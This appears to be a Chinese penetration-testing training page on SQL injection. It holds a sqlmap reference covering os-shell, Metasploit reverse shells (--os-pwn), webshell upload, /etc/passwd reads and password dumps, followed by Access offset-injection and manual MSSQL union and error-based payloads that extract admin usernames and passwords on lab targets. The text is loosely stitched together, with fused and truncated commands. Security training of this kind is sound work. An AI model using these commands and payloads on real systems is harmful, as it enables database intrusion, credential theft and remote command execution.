首先找需要網(wǎng)站的物理路徑,其次需要有可寫(xiě)或可讀權限。–file-read=RFILE 從后端的數據庫管理系統文件系統讀取文件 (物理路徑)–file-write=WFILE 編輯后端的數據庫管理系統文件系統上的本地文件 (mssql xp_shell)–file-dest=DFILE 后端的數據庫管理系統寫(xiě)入文件的絕對路徑#示例:sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”使用shell命令:sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell接下來(lái)指定網(wǎng)站可寫(xiě)目錄:“E:\php\htdocs\dvwa”#注:mysql不支持列目錄,僅支持讀取單個(gè)文件。sqlserver可以列目錄,不能讀寫(xiě)文件,但需要一個(gè)(xp_dirtree函數)
sqlmap基本操作
基本操作筆記:
-u #注入點(diǎn)-f #指紋判別數據庫類(lèi)型-b #獲取數據庫版本信息-p #指定可測試的參數(?page=1&id=2 -p "page,id")-D "" #指定數據庫名-T "" #指定表名-C "" #指定字段-s "" #保存注入過(guò)程到一個(gè)文件,還可中斷,下次恢復在注入(保存:-s "xx.log" 恢復:-s "xx.log" --resume)--level=(1-5) #要執行的測試水平等級,默認為1--risk=(0-3) #測試執行的風(fēng)險等級,默認為1--time-sec=(2,5) #延遲響應,默認為5--data #通過(guò)POST發(fā)送數據--columns #列出字段--current-user #獲取當前用戶(hù)名稱(chēng)--current-db #獲取當前數據庫名稱(chēng)--users #列數據庫所有用戶(hù)--passwords #數據庫用戶(hù)所有密碼--privileges #查看用戶(hù)權限(--privileges -U root)-U #指定數據庫用戶(hù)--dbs #列出所有數據庫--tables -D "" #列出指定數據庫中的表--columns -T "user" -D "mysql" #列出mysql數據庫中的user表的所有字段--dump-all #列出所有數據庫所有表--exclude-sysdbs #只列出用戶(hù)自己新建的數據庫和表--dump -T "" -D "" -C "" #列出指定數據庫的表的字段的數據(--dump -T users -D master -C surname)--dump -T "" -D "" --start 2 --top 4 # 列出指定數據庫的表的2-4字段的數據--dbms #指定數據庫(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)--os #指定系統(Linux,Windows)-v #詳細的等級(0-6) 0:只顯示Python的回溯,錯誤和關(guān)鍵消息。 1:顯示信息和警告消息。 2:顯示調試消息。 3:有效載荷注入。 4:顯示HTTP請求。 5:顯示HTTP響應頭。 6:顯示HTTP響應頁(yè)面的內容--privileges #查看權限--is-dba #是否是數據庫管理員--roles #枚舉數據庫用戶(hù)角色--udf-inject #導入用戶(hù)自定義函數(獲取系統權限)--union-check #是否支持union 注入--union-cols #union 查詢(xún)表記錄--union-test #union 語(yǔ)句測試--union-use #采用union 注入--union-tech orderby #union配合order by--data "" #POST方式提交數據(--data "page=1&id=2")--cookie "用;號分開(kāi)" #cookie注入(--cookies=”P(pán)HPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)--referer "" #使用referer欺騙(--referer "http://www.baidu.com")--user-agent "" #自定義user-agent--proxy "http://127.0.0.1:8118" #代理注入--string="" #指定關(guān)鍵詞,字符串匹配.--threads #采用多線(xiàn)程(--threads 3)--sql-shell #執行指定sql命令--sql-query #執行指定的sql語(yǔ)句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" )--file-read #讀取指定文件--file-write #寫(xiě)入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;將本地的test.txt文件寫(xiě)入到目標的1.txt)--file-dest #要寫(xiě)入的文件絕對路徑--os-cmd=id #執行系統命令--os-shell #系統交互shell--os-pwn #反彈shell(--os-pwn --msf-path=/opt/framework/msf3/)--msf-path= #matesploit絕對路徑(--msf-path=/opt/framework/msf3/)--os-smbrelay #--os-bof #--reg-read #讀取win系統注冊表--priv-esc #--time-sec= #延遲設置 默認--time-sec=5 為5秒-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)" #指定user-agent注入--eta #盲注/pentest/database/sqlmap/txt/common-columns.txt 字段字典 common-outputs.txtcommon-tables.txt 表字典keywords.txtoracle-default-passwords.txtuser-agents.txtwordlist.txt<br />
常用語(yǔ)句 :
1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-f -b --current-user --current-db --users --passwords --dbs -v 02./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --passwords -U root --union-use -v 23./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --dump -T users -C username -D userdb --start 2 --stop 3 -v 24./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --dump -C "user,pass" -v 1 --exclude-sysdbs5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --sql-shell -v 26./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --file-read "c:\boot.ini" -v 27./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 28./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-cmd "id" -v 19./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-shell --union-use -v 210./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 111./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-pwn --msf-path=/opt/framework/msf3 -v 112./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-bof --msf-path=/opt/framework/msf3 -v 113./sqlmap.py -u http://www.xxxxx.com/test.php?p=2--reg-add --reg-key="HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=114./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --eta15./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B -p id --prefix "')" --suffix "AND ('abc'='abc"16./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B --auth-type Basic --auth-cred "testuser:testpass"17./sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"18./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 319./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B --sql-query "SELECT 'foo'" -v 120./sqlmap.py -u "http://192.168.136.129/mysql/g ... ot%3B --common-tables -D testdb --banner21./sqlmap.py -u "http://192.168.136.129/mysql/g ... ot%3B --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" --string='xx' --dbs --level=3 -p "uid"
簡(jiǎn)單的注入流程 :
1.讀取數據庫版本,當前用戶(hù),當前數據庫
sqlmap -u http://www.xxxxx.com/test.php?p=2-f -b --current-user --current-db -v 1
2.判斷當前數據庫用戶(hù)權限
sqlmap -u http://www.xxxxx.com/test.php?p=2--privileges -U 用戶(hù)名 -v 1sqlmap -u http://www.xxxxx.com/test.php?p=2--is-dba -U 用戶(hù)名 -v 1
3.讀取所有數據庫用戶(hù)或指定數據庫用戶(hù)的密碼
sqlmap -u http://www.xxxxx.com/test.php?p=2--users --passwords -v 2sqlmap -u http://www.xxxxx.com/test.php?p=2--passwords -U root -v 2
4.獲取所有數據庫
sqlmap -u http://www.xxxxx.com/test.php?p=2--dbs -v 2
5.獲取指定數據庫中的所有表
sqlmap -u http://www.xxxxx.com/test.php?p=2--tables -D mysql -v 2
6.獲取指定數據庫名中指定表的字段
sqlmap -u http://www.xxxxx.com/test.php?p=2--columns -D mysql -T users -v 2
7.獲取指定數據庫名中指定表中指定字段的數據
sqlmap -u http://www.xxxxx.com/test.php?p=2--dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2
8.file-read讀取web文件
sqlmap -u http://www.xxxxx.com/test.php?p=2--file-read "/etc/passwd" -v 2
9.file-write寫(xiě)入文件到web
sqlmap -u http://www.xxxxx.com/test.php?p=2--file-write /localhost/mm.php --file使用sqlmap繞過(guò)防火墻進(jìn)行注入測試
sqlmap詳細命令
–is-dba 當前用戶(hù)權限(是否為root權限)–dbs 所有數據庫–current-db 網(wǎng)站當前數據庫–users 所有數據庫用戶(hù)–current-user 當前數據庫用戶(hù)–random-agent 構造隨機user-agent–passwords 數據庫密碼–proxy http://local:8080 –threads 10 (可以自定義線(xiàn)程加速) 代理–time-sec=TIMESEC DBMS響應的延遲時(shí)間(默認為5秒)——————————————————————————————————
Options(選項)
–version 顯示程序的版本號并退出
-h, –help 顯示此幫助消息并退出-v VERBOSE 詳細級別:0-6(默認為1)保存進(jìn)度繼續跑:sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” 保存進(jìn)度sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” –resume 恢復已保存進(jìn)度
Target(目標)
以下至少需要設置其中一個(gè)選項,設置目標URL。-d DIRECT 直接連接到數據庫。-u URL, –url=URL 目標URL。-l LIST 從Burp或WebScarab代理的日志中解析目標。-r REQUESTFILE 從一個(gè)文件中載入HTTP請求。-g GOOGLEDORK 處理Google dork的結果作為目標URL。-c CONFIGFILE 從INI配置文件中加載選項。
Request(請求)
這些選項可以用來(lái)指定如何連接到目標URL。–data=DATA 通過(guò)POST發(fā)送的數據字符串–cookie=COOKIE HTTP Cookie頭–cookie-urlencode URL 編碼生成的cookie注入–drop-set-cookie 忽略響應的Set – Cookie頭信息–user-agent=AGENT 指定 HTTP User – Agent頭–random-agent 使用隨機選定的HTTP User – Agent頭–referer=REFERER 指定 HTTP Referer頭–headers=HEADERS 換行分開(kāi),加入其他的HTTP頭–auth-type=ATYPE HTTP身份驗證類(lèi)型(基本,摘要或NTLM)(Basic, Digest or NTLM)–auth-cred=ACRED HTTP身份驗證憑據(用戶(hù)名:密碼)–auth-cert=ACERT HTTP認證證書(shū)(key_file,cert_file)–proxy=PROXY 使用HTTP代理連接到目標URL–proxy-cred=PCRED HTTP代理身份驗證憑據(用戶(hù)名:密碼)–ignore-proxy 忽略系統默認的HTTP代理–delay=DELAY 在每個(gè)HTTP請求之間的延遲時(shí)間,單位為秒–timeout=TIMEOUT 等待連接超時(shí)的時(shí)間(默認為30秒)–retries=RETRIES 連接超時(shí)后重新連接的時(shí)間(默認3)–scope=SCOPE 從所提供的代理日志中過(guò)濾器目標的正則表達式–safe-url=SAFURL 在測試過(guò)程中經(jīng)常訪(fǎng)問(wèn)的url地址–safe-freq=SAFREQ 兩次訪(fǎng)問(wèn)之間測試請求,給出安全的URL
Enumeration(枚舉)
這些選項可以用來(lái)列舉后端數據庫管理系統的信息表中的結構和數據此外,您還可以運行您自己的SQL語(yǔ)句。-b, –banner 檢索數據庫管理系統的標識–current-user 檢索數據庫管理系統當前用戶(hù)–current-db 檢索數據庫管理系統當前數據庫–is-dba 檢測DBMS當前用戶(hù)是否DBA–users 枚舉數據庫管理系統用戶(hù)–passwords 枚舉數據庫管理系統用戶(hù)密碼哈希–privileges 枚舉數據庫管理系統用戶(hù)的權限–roles 枚舉數據庫管理系統用戶(hù)的角色–dbs 枚舉數據庫管理系統數據庫-D DBname 要進(jìn)行枚舉的指定數據庫名-T TBLname 要進(jìn)行枚舉的指定數據庫表(如:-T tablename –columns)–tables 枚舉的DBMS數據庫中的表–columns 枚舉DBMS數據庫表列–dump 轉儲數據庫管理系統的數據庫中的表項–dump-all 轉儲所有的DBMS數據庫表中的條目–search 搜索列(S),表(S)和/或數據庫名稱(chēng)(S)-C COL 要進(jìn)行枚舉的數據庫列-U USER 用來(lái)進(jìn)行枚舉的數據庫用戶(hù)–exclude-sysdbs 枚舉表時(shí)排除系統數據庫–start=LIMITSTART 第一個(gè)查詢(xún)輸出進(jìn)入檢索–stop=LIMITSTOP 最后查詢(xún)的輸出進(jìn)入檢索–first=FIRSTCHAR 第一個(gè)查詢(xún)輸出字的字符檢索–last=LASTCHAR 最后查詢(xún)的輸出字字符檢索–sql-query=QUERY 要執行的SQL語(yǔ)句–sql-shell 提示交互式SQL的shell
Optimization(優(yōu)化)
這些選項可用于優(yōu)化SqlMap的性能。-o 開(kāi)啟所有優(yōu)化開(kāi)關(guān)–predict-output 預測常見(jiàn)的查詢(xún)輸出–keep-alive 使用持久的HTTP(S)連接–null-connection 從沒(méi)有實(shí)際的HTTP響應體中檢索頁(yè)面長(cháng)度–threads=THREADS 最大的HTTP(S)請求并發(fā)量(默認為1)
Injection(注入)
這些選項可以用來(lái)指定測試哪些參數提供自定義的注入payloads和可選篡改腳本。-p TESTPARAMETER 可測試的參數(S)–dbms=DBMS 強制后端的DBMS為此值–os=OS 強制后端的DBMS操作系統為這個(gè)值–prefix=PREFIX 注入payload字符串前綴–suffix=SUFFIX 注入payload字符串后綴–tamper=TAMPER 使用給定的腳本(S)篡改注入數據
Detection(檢測)
這些選項可以用來(lái)指定在SQL盲注時(shí)如何解析和比較HTTP響應頁(yè)面的內容。–level=LEVEL 執行測試的等級(1-5,默認為1)–risk=RISK 執行測試的風(fēng)險(0-3,默認為1)–string=STRING 查詢(xún)時(shí)有效時(shí)在頁(yè)面匹配字符串–regexp=REGEXP 查詢(xún)時(shí)有效時(shí)在頁(yè)面匹配正則表達式–text-only 僅基于在文本內容比較網(wǎng)頁(yè)
Techniques(技巧)
這些選項可用于調整具體的SQL注入測試。–technique=TECH SQL注入技術(shù)測試(默認BEUST)–time-sec=TIMESEC DBMS響應的延遲時(shí)間(默認為5秒)–union-cols=UCOLS 定列范圍用于測試UNION查詢(xún)注入–union-char=UCHAR 用于暴力猜解列數的字符
Fingerprint(指紋)
-f, –fingerprint 執行檢查廣泛的DBMS版本指紋
Brute force(蠻力)
這些選項可以被用來(lái)運行蠻力檢查。–common-tables 檢查存在共同表–common-columns 檢查存在共同列
User-defined function injection
?。ㄓ脩?hù)自定義函數注入)
這些選項可以用來(lái)創(chuàng )建用戶(hù)自定義函數。–udf-inject 注入用戶(hù)自定義函數–shared-lib=SHLIB 共享庫的本地路徑
File system access(訪(fǎng)問(wèn)文件系統)
這些選項可以被用來(lái)訪(fǎng)問(wèn)后端數據庫管理系統的底層文件系統。–file-read=RFILE 從后端的數據庫管理系統文件系統讀取文件–file-write=WFILE 編輯后端的數據庫管理系統文件系統上的本地文件–file-dest=DFILE 后端的數據庫管理系統寫(xiě)入文件的絕對路徑
Operating system access
?。ú僮飨到y訪(fǎng)問(wèn))
這些選項可以用于訪(fǎng)問(wèn)后端數據庫管理系統的底層操作系統。–os-cmd=OSCMD 執行操作系統命令–os-shell 交互式的操作系統的shell–os-pwn 獲取一個(gè)OOB shell,meterpreter或VNC–os-smbrelay 一鍵獲取一個(gè)OOB shell,meterpreter或VNC–os-bof 存儲過(guò)程緩沖區溢出利用–priv-esc 數據庫進(jìn)程用戶(hù)權限提升–msf-path=MSFPATH Metasploit Framework本地的安裝路徑–tmp-path=TMPPATH 遠程臨時(shí)文件目錄的絕對路徑Windows注冊表訪(fǎng)問(wèn):這些選項可以被用來(lái)訪(fǎng)問(wèn)后端數據庫管理系統Windows注冊表。–reg-read 讀一個(gè)Windows注冊表項值–reg-add 寫(xiě)一個(gè)Windows注冊表項值數據–reg-del 刪除Windows注冊表鍵值–reg-key=REGKEY Windows注冊表鍵–reg-value=REGVAL Windows注冊表項值–reg-data=REGDATA Windows注冊表鍵值數據–reg-type=REGTYPE Windows注冊表項值類(lèi)型這些選項可以用來(lái)設置一些一般的工作參數。-t TRAFFICFILE 記錄所有HTTP流量到一個(gè)文本文件中-s SESSIONFILE 保存和恢復檢索會(huì )話(huà)文件的所有數據–flush-session 刷新當前目標的會(huì )話(huà)文件–fresh-queries 忽略在會(huì )話(huà)文件中存儲的查詢(xún)結果–eta 顯示每個(gè)輸出的預計到達時(shí)間–update 更新SqlMap–save file保存選項到INI配置文件–batch 從不詢(xún)問(wèn)用戶(hù)輸入,使用所有默認配置。
Miscellaneous(雜項)
–beep 發(fā)現SQL注入時(shí)提醒–check-payload IDS對注入payloads的檢測測試–cleanup SqlMap具體的UDF和表清理DBMS–forms 對目標URL的解析和測試形式–gpage=GOOGLEPAGE 從指定的頁(yè)碼使用谷歌dork結果–page-rank Google dork結果顯示網(wǎng)頁(yè)排名(PR)–parse-errors 從響應頁(yè)面解析數據庫管理系統的錯誤消息–replicate 復制轉儲的數據到一個(gè)sqlite3數據庫–tor 使用默認的Tor(Vidalia/ Privoxy/ Polipo)代理地址–wizard 給初級用戶(hù)的簡(jiǎn)單向導界面
思維導圖
涉及資源https://www.cnblogs.com/bmjoke ... %3Bbr />https://blog.csdn.net/qq_39936 ... .html
案例演示1. Access注入用sqlmap判斷數據庫類(lèi)型
嘗試猜字段數,order by 5時(shí)網(wǎng)頁(yè)有回顯,所以字段數為4:46604/new_list.asp?id=1 order by 5
Access只是單純的數據庫,只有數據,沒(méi)有數據庫名,數據庫版本,操作系統等功能,沒(méi)有information_shcema??芍苯硬樵?xún)數據,獲取表名,列名。嘗試聯(lián)合注入查詢(xún)時(shí)沒(méi)有反應:46604/new_list.asp?id=-1 union select 1,2,3,4
用猜解方式猜解表名,列名(常用的一些表名,如admin,admin_login等)網(wǎng)頁(yè)出現回顯:46604/new_list.asp?id=-1 union select 1,2,3,4 from admin
在回顯位嘗試猜解字段
使用sqlmap跑出來(lái)的結果是一樣的:sqlmap -u :49010/new_list.asp?id=1 -T admin --colimns
sqlmap -u :49010/new_list.asp?id=1 -T admin -C username,passwd --dump
2. Access偏移注入偏移注入的使用目前猜測出了表名,但是怎么都猜不出列名,使用聯(lián)合查詢(xún)法來(lái)進(jìn)行偏移注入
接下來(lái)測出偏移量,其實(shí)這個(gè)偏移量就是admin這張表的列的個(gè)數。直接將22改成*號,測試是否回顯正常,不正常就一直往前減,一直減少到回顯正常為止。
這里運氣比較好,直接就爆出了密碼。但是還沒(méi)有用戶(hù)名呢,那么接下來(lái)可以打亂順序來(lái)重置爆出來(lái)的結果,這里可以使用下列方法來(lái)進(jìn)行完成。
從圖中可以看出已經(jīng)爆出了用戶(hù)名為admin了
簡(jiǎn)單說(shuō)下語(yǔ)句UNION?SELECT?1,2,3,*?from?(admin?as?a?inner?join?admin?as?b?on?a.id=b.id),首先為什么從union?select?1,2,3,4,5,6,*?from變成了1,2,3,*呢是這樣推導出來(lái)的:order by 9代表有9個(gè)回顯點(diǎn)1,2,3,4,5,6,*代表admin表的字段數只有3個(gè)admin表變成了(admin?as?a?inner?join?admin?as?b?on?a.id=b.id)這里是將admin重命名為了a和b兩張表然后通過(guò)inner?join?將a表和b表的id相同字段展示出來(lái)a表和b表本來(lái)都是admin表所以id肯定都是相同的(這里要提醒一下,id這個(gè)字段可以換成其它字段,但是一定得存在,一般admin表中都存在id字段的)這樣做的目的就是可以打亂順序來(lái)爆出其它字段但是由于增加了一張表所以字段數得再減少一個(gè)*號的長(cháng)度所以就從6變成了3
3.偏移注入的進(jìn)階
這樣爆東西非常有隨機性如果表的字段比較多而這個(gè)顯示位又比較少的話(huà)是很有可能爆不出自己想要的東西的所以接下來(lái)學(xué)習偏移注入進(jìn)階同樣通過(guò)order?by?和union?select找到了表為admin但是還是掃不出列名,這次回顯點(diǎn)有22個(gè)
測試admin的列的個(gè)數,最終長(cháng)度為6,而且這次什么都沒(méi)爆出來(lái)
開(kāi)始偏移注入,爆出的結果卻是時(shí)間
此時(shí)可以增加a.id或者b.id或者a.id和b.id一起加上去來(lái)打亂隨機的順序,時(shí)間確實(shí)換了,但是又不是我們想要的,這只是一個(gè)數字,可能是id值之類(lèi)的
查看網(wǎng)頁(yè)的源代碼,會(huì )有隱藏的驚喜
發(fā)現這里有隱藏起來(lái)的回顯點(diǎn),爆出來(lái)了用戶(hù)名為admin,但是還沒(méi)有密碼增加表的個(gè)數,修改代碼,UNION SELECT 1,2,3,4,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id),查看源代碼,成功拿到用戶(hù)名和密碼了。
3. SQL server/mssql
https://www.mozhe.cn/bug/detai ... mozhe
通過(guò)pangolin獲取所需數據:
還可以進(jìn)行命令執行和文件管理
key
##手工注入判斷是否是Mssql判斷是否是mssql數據庫,返回正常,說(shuō)明該數據庫是mssql
判斷數據庫版本號,返回正常,說(shuō)明版本號正確
判斷字段長(cháng)度order by 4正常,遍歷至5時(shí)報錯,說(shuō)明字段長(cháng)度為4
尋找字符型顯示位:44626/new_list.asp?id=-2 union all select null,null,null,null這里使用的是 union all,它和 union select 的區別就是:union select 會(huì )自動(dòng)去除一些重復的字段,在這個(gè)靶場(chǎng)使用 union select 是不行的,所以用 union all。使用null 是說(shuō)明它無(wú)關(guān)是字符型還是數字型
猜測顯示位:44626/new_list.asp?id=-2 union all select '1',null,null,null
:44626/new_list.asp?id=-2 union all select null,'2',null,null
:44626/new_list.asp?id=-2 union all select null,'2','3',null
查詢(xún)相關(guān)信息獲取版本信息:44626/new_list.asp?id=-2 union all select null,@@version,'3',null
獲取數據庫名:44626/new_list.asp?id=-2 union all select null,db_name(),'3',null
獲取當前用戶(hù)名:44626/new_list.asp?id=-2 union all select null,user,'3',null:44626/new_list.asp?id=-2 union all select null,system_user,'3',null:44626/new_list.asp?id=-2 union all select null,current_user,'3',null
查詢(xún)表名:44626/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
:44626/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4注釋?zhuān)簄ame not in ('manage') 這段語(yǔ)句意思是查詢(xún) name 不是 'manage' 的,這樣就可以排除 'manage' 從而查詢(xún)下一個(gè)表名
announcement之后還是manage,說(shuō)明就這倆表
獲取列名:44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null注釋?zhuān)篶ol_name 是查詢(xún)的列名,object_id('manage')是從manage這個(gè)表里查詢(xún),1 代表的是查詢(xún)第一個(gè)列名
這邊查詢(xún)出來(lái)第一個(gè)列名是 id,我們繼續查第二個(gè)列名只需要把數字1修改為2就行了col_name(object_id('manage'),2:44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
查詢(xún)出來(lái)第二個(gè)列名是 username,我們繼續查詢(xún)第三個(gè)列名::44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
獲取數據:44626/new_list.asp?id=-2 union all select null,username,password,null from manage
4. PostgraSQL字段
sqlmap判斷數據庫種類(lèi)
查看表名
查看字段名
查看字段值
5. oracle
6. mongoDBNoSQLAttack支持mongoDB的注入工具
然后輸入x返回,輸入4進(jìn)入
往期內容回顧
大哥大哥行行好
一萬(wàn)字也不算少如有幫助請隨意打賞
查看全部
滲透測試培訓Day14 SQL注入之Oracle,MongoDB等注入
我喜歡一個(gè)人
就像喜歡一陣風(fēng)
藏在你心里
習桑前言
SQL作用在關(guān)系型數據庫上面什么是關(guān)系型數據庫?關(guān)系型數據庫是由一張張的二維表組成的?常見(jiàn)的關(guān)系型數據庫廠(chǎng)商有?MySQL、SQLite、SQL?Server、Oracle?由于MySQL是免費的?所以企業(yè)一般用MySQL的居多?Web?SQL是前端的數據庫?它也是本地存儲的一種?使用SQLite實(shí)現?SQLite是一種輕量級數據庫?它占的空間小?支持創(chuàng )建表,插入、修改、刪除表格數據?但是不支持修改表結構?如刪掉一縱列?修改表頭字段名等?但是可以把整張表刪了?同一個(gè)域可以創(chuàng )建多個(gè)DB?每個(gè)DB有若干張表。與數據庫產(chǎn)生交互就有可能存在注入攻擊不只是MySQL數據庫還有Oracle,MongoDB等數據庫也可能會(huì )存在注入攻擊
簡(jiǎn)要學(xué)習各種數據庫的注入特點(diǎn)
數據庫架構組成,數據庫高權限操作
簡(jiǎn)要了解各數據庫
Access,Mysqlmssql(Microsoft?SQL?server)mongoDB,postgresqlsqlite,oracle,sybase等<br />Access 表名 列名 數據<br />Access數據庫保存在網(wǎng)站源碼下面自己網(wǎng)站數據庫獨立存在所以無(wú)法進(jìn)行跨庫也沒(méi)有文件讀寫(xiě)的操作
除了Access其他數據庫組成架構基本都是大同小異。<br />mysql mssql等數據庫名A 表名列名 數據 數據庫名B。。。。。。<br />每個(gè)數據庫功能不同,我們采取注入的時(shí)候攻入方式不同<br />什么決定網(wǎng)站注入點(diǎn)用戶(hù)權限?數據庫配置文件的用戶(hù),是誰(shuí)連接的
Access偏移注入
如果遇到列名猜解不到的情況,則可以使用Access偏移注入原理<br />借用數據庫的自連接查詢(xún)讓數據庫內部發(fā)生亂序從而偏移出所需要的字段在我們的頁(yè)面上顯示用途<br />解決知道Access數據庫中知道表名,但是得不到字段的sql注入困境特點(diǎn)<br />a. 成功與否看技巧與運氣,不能保證100%成功。b. 無(wú)需管理員賬號密碼字段,直接爆賬號密碼利用條件<br />a. 已知管理表名b. 已知任意字段(一個(gè)或多個(gè)會(huì )增加機率,最常見(jiàn)的就是id)影響偏移注入成功因素<br />a. 管理表的字段數越少越好(最好是三個(gè):id 賬號字段 密碼字段)b. 當前注入點(diǎn)的腳本內查詢(xún)的表內的字段數越多越好流程<br />a. 判斷字段數b. 判斷表名c. 開(kāi)始偏移注入<br />
本地Access偏移注入靶場(chǎng)
偏移量就是逐步增加或遞減直到出現結果。*表示可代替的字符串用*代替22,返回界面依舊報錯然后用*代替21,依次遞減22-16=6,6表示該表中的列名個(gè)數
*代表6個(gè),后面一串字符代表兩倍,就相當于2倍*,12個(gè)
爆列名數據
一級偏移語(yǔ)句:union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)二級偏移語(yǔ)句:union?select?1,2,3,4,a.id,b.id,c.id,*?from?((admin?as?a?inner?join?admin?as?b?on?a.id?=?b.id)inner?join?admin?as?c?on?a.id=c.id)
二級偏移,3倍*,所以為18個(gè)
查看登錄框源代碼的表單值或觀(guān)察URL特征等也可以針對表或列獲取不到的情況猜解表名可能是ZB_admin,觀(guān)察網(wǎng)站地址特征,是否有前綴。
或者看登錄框表單值
SQL server/MSSQL注入
7.1介紹
Microsoft SQL Server 是一個(gè)全面的數據庫平臺,使用集成的商業(yè)智能 (BI)工具提供了企業(yè)級的數據管理。Microsoft SQL Server 數據庫引擎為關(guān)系型數據和結構化數據提供了更安全可靠的存儲功能,使您可以構建和管理用于業(yè)務(wù)的高可用和高性能的數據應用程序。
7.2過(guò)程
?、倥袛鄶祿祛?lèi)型
and exists (select * from sysobjects)--返回正常為mssql(也名sql server)and exists (select count(*) from sysobjects)--有時(shí)上面那個(gè)語(yǔ)句不行就試試這個(gè)哈
?、谂袛鄶祿彀姹?br /> and?1=@@version--這個(gè)語(yǔ)句要在有回顯的模式下才可以哦and?substring((select??@@version),22,4)='2008'--適用于無(wú)回顯模式,后面的2008就是數據庫版本,?????????返回正常就是2008的復制代碼第一條語(yǔ)句執行效果圖(類(lèi)似):第二條語(yǔ)句執行效果圖:(如果是???????????? 2008的話(huà)就返回正常)
?、郢@取所有數據庫的個(gè)數 (一下3條語(yǔ)句可供選擇使用)
1. and 1=(select quotename(count(name)) from master..sysdatabases)--2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --3. and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) --???and?1=(select?cast(count(name)?as?varchar)%2bchar(1)?from?master..sysdatabases?where?dbid>5)?--說(shuō)明:dbid從1-4的數據庫一般為系統數據庫.
?、莴@取數據庫 (該語(yǔ)句是一次性獲取全部數據庫的,且語(yǔ)句只適合>=2005,兩條語(yǔ)句可供選擇使用)
and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--?and?1=(select?'|'%2bname%2b'|'?from?master..sysdatabases?FOR?XML?PATH(''))--
?、瞢@取當前數據庫
and db_name()>0and 1=(select db_name())--
?、攉@取當前數據庫中的表(有2個(gè)語(yǔ)句可供選擇使用)【下列語(yǔ)句可一次爆數據庫所有表(只限于 mssql2005及以上版本)】
and?1=(select?quotename(name)?from?數據庫名..sysobjects?where?xtype='U'?FOR?XML?PATH(''))--?and?1=(select?'|'%2bname%2b'|'?from?數據庫名..sysobjects?where?xtype='U'??FOR?XML?PATH(''))--
?、喃@得表里的列
一次爆指定表的所有列(只限于mssql2005及以上版本):and?1=(select?quotename(name)?from?數據庫名..syscolumns?where?id?=(select??id?from?數據庫名..sysobjects?where?name='指定表名')?FOR?XML?PATH(''))--?and?1=(select?'|'%2bname%2b'|'?from?數據庫名..syscolumns?where?id?=(select??id?from?數據庫名..sysobjects?where?name='指定表名')?FOR?XML?PATH(''))--
?、岖@取指定數據庫中的表的列的數據庫
逐條爆指定表的所有字段的數據(只限于mssql2005及以上版本):and?1=(select?top?1?*?from?指定數據庫..指定表名?where排除條件?FOR?XML?PATH(''))--一次性爆N條所有字段的數據(只限于mssql2005及以上版本):and?1=(select?top?N?*?from?指定數據庫..指定表名?FOR?XML?PATH(''))--復制代碼第一條語(yǔ)句:and 1=(select top 1 * from 指定數據庫..指定表名 FOR XML PATH(''))--測試效果圖:----------------------------------加上where條件篩選結果出來(lái)會(huì )更加好,如:where and name like '%user%'??就會(huì )篩選出含有user關(guān)鍵詞的出來(lái)。用在篩選表段時(shí)很不錯。
轉自:http://www.myhack58.com/Articl ... 6.htm
PostgraSQL注入原理
https://www.webshell.cc/524.ht ... a2c2e
Oracle注入
https://www.cnblogs.com/peterp ... .html
MongoDB注入
https://blog.csdn.net/weixin_3 ... .html
各數據庫手工注入
